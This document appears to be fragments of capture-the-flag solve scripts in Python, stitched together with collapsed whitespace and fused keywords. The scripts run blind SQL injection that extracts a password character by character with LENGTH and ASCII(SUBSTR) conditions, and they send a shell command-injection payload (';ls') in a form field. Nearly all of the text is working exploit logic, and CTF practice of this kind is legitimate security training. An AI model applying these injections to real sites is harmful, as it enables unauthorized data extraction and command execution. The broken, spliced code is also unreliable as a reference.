defextract_flag(session): flag = [] for position inrange(1, FLAG_LENGTH + 1): for character_code inrange(128): if oracle(session, make_payload(position, character_code)): flag.append(chr(character_code)) break else: raise RuntimeError(f"no character matched at position {position}") return"".join(flag)
defmain(): session_cookie = os.environ.get("CHALLENGE_SESSION") ifnot session_cookie: raise SystemExit("set session-cookie to your own challenge session before running")
defupload_directory(response_text: str) -> str: match = re.search(r"/upload/[A-Za-z0-9]+/", response_text) ifmatchisNone: raise RuntimeError("upload response did not contain the upload directory") returnmatch.group(0)
response = requests.post(args.url, data={"id": "';ls'"}, timeout=20) response.raise_for_status() match = FLAG_FILE.search(response.text) ifnotmatch: raise RuntimeError("flag filename was not found in the command output")
defdiscover_length(session): for length inrange(1, MAX_LENGTH + 1): if request_is_true(session, f"LENGTH(pw)={length}"): return length raise RuntimeError("password length was not found")
defrecover_flag(session, length): flag = "" for position inrange(1, length + 1): for character in CHARACTERS: code = ord(character) condition = f"ASCII(SUBSTR(pw,{position},1))={code}" if request_is_true(session, condition): flag += character print(flag) break else: raise RuntimeError(f"no character matched at position {position}") return flag
defmain() -> int: with requests.Session() as session: for attempt inrange(1, ATTEMPTS + 1): response = session.get( URL, params={"val": PAYLOAD}, timeout=10, ) response.raise_for_status() print(f"attempt {attempt}: {response.url}") if"old-07"in response.text: print(response.text) return0 print("The random query wrapper did not accept the payload in this run.") return1